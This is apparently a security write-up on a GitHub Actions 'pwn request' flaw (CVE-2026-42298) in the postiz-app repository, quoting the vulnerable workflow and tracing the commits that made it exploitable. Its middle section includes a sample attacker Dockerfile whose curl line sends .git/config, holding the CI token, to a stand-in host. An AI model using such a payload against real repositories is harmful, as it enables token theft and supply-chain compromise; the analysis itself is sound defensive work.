The file was 38 lines
Here it is, exactly as it stood the morning of April 22, 2026:
name: Build and Publish PR Docker Image
on:
pull_request_target:
types: [opened, synchronize]
permissions: write-all
jobs:
build-and-publish:
runs-on: ubuntu-latest
environment:
name: build-pr
steps:
- name: Checkout code
uses: actions/checkout@v6
with:
fetch-depth: 0
ref: ${{ github.event.pull_request.head.sha }}
- name: Log in to GitHub Container Registry
uses: docker/login-action@v3
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ github.token }}
- name: Set image tag
id: vars
run: echo "IMAGE_TAG=ghcr.io/gitroomhq/postiz-app-pr:${{ github.event.pull_request.number }}" >> $GITHUB_ENV
- name: Build Docker image from Dockerfile.dev
run: docker build -f Dockerfile.dev -t $IMAGE_TAG .
- name: Push Docker image to GHCR
run: docker push $IMAGE_TAG
Three lines decide whether this file is a CI build or remote code execution. They are not adjacent.
Line 5, pull_request_target. This is the GitHub Actions trigger documented to run from the BASE repository's context, with the base repo's secrets and a GITHUB_TOKEN whose scope is the base repo's. Its sibling pull_request runs from the FORK context with no secrets and a read-only token. The two trigger names are letter-for-letter close. Their security models are not.
Line 7, permissions: write-all. This sets the GITHUB_TOKEN scope for the entire workflow to the GitHub Actions maximum: contents: write, packages: write, actions: write, deployments: write, issues: write, pull_requests: write, statuses: write, checks: write, pages: write, id_token: write. With this token a workflow can push commits to main, modify other workflows, publish container images and packages, cut releases, approve pull requests as the bot, all without an audit-log entry attributable to a person, because the token was issued to github-actions[bot].
Line 22, ref: ${{ github.event.pull_request.head.sha }}. This tells actions/checkout to fetch the commit at the head of the pull request. The default for pull_request_target without this line is to check out the base branch's HEAD. With this line, the trusted-context job is operating on untrusted-author code.
Each line in isolation is a documented GitHub Actions feature. Lines 5 and 7 together make the workflow a high-value target. Line 22 turns "high-value target" into "code execution as github-actions[bot] for anyone with a GitHub account."
The Dockerfile was the shell
GitHub's actions/checkout action defaults to persist-credentials: true. With that default, the action runs, after cloning, the equivalent of:
git config --local http.https://github.com/.extraheader \
"AUTHORIZATION: basic <base64(x-access-token:GITHUB_TOKEN)>"
The token in that line is the same GITHUB_TOKEN whose scope permissions: write-all had just maximised. It is sitting in .git/config in the runner's working directory.
The next steps in the workflow, after the docker login step (which is cosmetic to the attack), are two shell lines:
docker build -f Dockerfile.dev -t $IMAGE_TAG .
docker push $IMAGE_TAG
The Dockerfile is Dockerfile.dev, a file at the root of the checked-out commit. The checked-out commit is the attacker's. The build context is ., the working directory containing .git/config.
A Dockerfile.dev an attacker would author here can do many things. The minimum-viable version is six lines:
FROM alpine
RUN apk add --no-cache curl
COPY . /payload
RUN curl -X POST --data-binary @/payload/.git/config \
https://attacker.example/exfil
docker build reads Dockerfile.dev from the attacker's commit. The COPY . /payload instruction reads the build context, which contains .git/config. The RUN curl line fires at build time, inside the build container, with network egress, and POSTs the base64-encoded GITHUB_TOKEN to the attacker's collector. The token has write-all on gitroomhq/postiz-app for the duration of the workflow run, which is up to six hours.
Within that six-hour window, the attacker can push commits to main, publish container images under the gitroomhq namespace, modify the .github/workflows/ directory that issued the token in the first place, approve their own pull requests, and cut a release. None of those actions appears in the audit log under a person's name. They appear under github-actions[bot], the same identity that runs every other CI job in the repo.
For 203 days, every fork pull request opened or synchronized against postiz-app could acquire this primitive. The trigger condition for the workflow was types: [opened, synchronize], which fires on every push to a PR branch. An attacker did not even need to land malicious code in the first commit; they could open a benign PR, wait for any human attention, then push a second commit that swapped Dockerfile.dev, and the workflow would fire again.
The push step is its own attack surface
Even an attacker who never bothered exfiltrating the token would get a second primitive for free. The final step:
docker push $IMAGE_TAG
publishes the attacker's image to ghcr.io/gitroomhq/postiz-app-pr:<PR-number> using the gitroomhq org's container-registry credentials. The image content was built from the attacker's Dockerfile. The image is hosted in the gitroomhq namespace, under a tag pattern that any maintainer or contributor would recognize as a PR build.
Postiz is a self-hosted social-media scheduling tool. Postiz containers run in environments holding OAuth tokens for Twitter, LinkedIn, Facebook, Instagram, Threads, Bluesky, YouTube, TikTok, Mastodon, and the rest of the connector list the docs require. A user who pulls ghcr.io/gitroomhq/postiz-app-pr:42 to test a PR is pulling an image whose RUN lines were the attacker's choice, into an environment that is about to be handed every social-media credential in their config.
The commit that introduced the RCE was titled "Add environment"
The workflow was committed to main on July 29, 2025 by Nevo David in commit 0d3d3612 (feat: fix disable registartion), buried in a 32-file change that initialized large parts of the repository's .github/ directory. As shipped, it already ran with pull_request_target and permissions: write-all, but the actions/checkout step had no with: block. Without ref: head.sha, actions/checkout on pull_request_target checks out the base branch's HEAD; the workflow ran at the privilege level of the base repo and built the base repo's Dockerfile.dev. The attack surface in this state was the small one. As written it read more like a misconfigured CI than an open door.
On October 1, 2025, the file was edited in commit 3a1ada84 by Enno Gelhaus. The commit message, in full:
Add environment for build-and-publish job
Added environment configuration for build-pr.
The commit body names one change. The diff:
+ environment:
+ name: build-pr
+
steps:
- name: Checkout code
uses: actions/checkout@v4
+ with:
+ fetch-depth: 0
+ ref: ${{ github.event.pull_request.head.sha }}
makes three. The environment block matches the title. The fetch-depth: 0 is a CI-build optimization that makes the full git history available. The third change, ref: ${{ github.event.pull_request.head.sha }}, is the line that converts actions/checkout from "fetch the base branch I am running for" into "fetch the attacker's commit and put it in my working directory." The commit message does not name it. The commit body does not name it. There is no separate commit for it.
On February 14, 2026, the same author bumped actions/checkout from v4 to v6 in commit 844449b3. The diff is one line. It edits the line directly above the with: block. It does not see the ref: line three lines below.
On April 22, 2026, the same author deleted the file. The commit message:
feat: remove insecure & unnecessary workflow.
Three commits on the file by the same author across 203 days. The first two name what they are doing in operational terms: add an environment, bump an action version. The third names what the file was: insecure. The CVE record exists because somebody outside the project read the file before the third commit was written; the public threat-radar entry that triggered this post is dated seventeen days after the deletion.
trust-inversion, one floor down from the registries
The pattern catalogued at Trust Inversion names this shape: the tools and credentials that authorize access to your systems are now the attack surface. A user opening a pull request is the distrusted lane; everything in that lane gets parsed, validated, gated. A workflow run by github-actions[bot] in the base repo's context is the trusted lane; it runs with secrets, it pushes to the registry, it would merge to main if asked. The bug does not break the validation on the distrusted lane. The bug runs the distrusted lane's content through the trusted lane.
tj-actions was the same pattern one architectural floor up: third-party Actions referenced by mutable tags, the authorizer's code swapped out from under the consumer. CVE-2026-42298 is the same pattern one architectural floor down: the authorizer's runner running first-party code that the maintainer authored, where the "code the maintainer authored" was a YAML file delegating execution to whatever Dockerfile a fork chose to write. In both cases the validation, where it existed, was correct. The pipeline that fed the validation was hostile.
The structural reason this lived for 203 days is not that anyone failed to read the documentation. GitHub's Security Lab published the canonical warning about this exact combination, "Keeping your GitHub Actions and workflows secure: Preventing pwn requests," in 2020. The combination of pull_request_target with actions/checkout on the head SHA has its own community name (a "pwn request") and its own static-analysis rules (CodeQL ships a query for it). The reason the file lived is that it sat in a directory three reviewers ever open, that two of the three commits to it were named for the safe change in the diff and not the dangerous one, and that the one commit that named the file as insecure was the commit that deleted it.
PoC: offseq threat radar, CVE-2026-42298
The history of the file is three commits, by two authors. Two of them are named for the changes that would not have caused a CVE.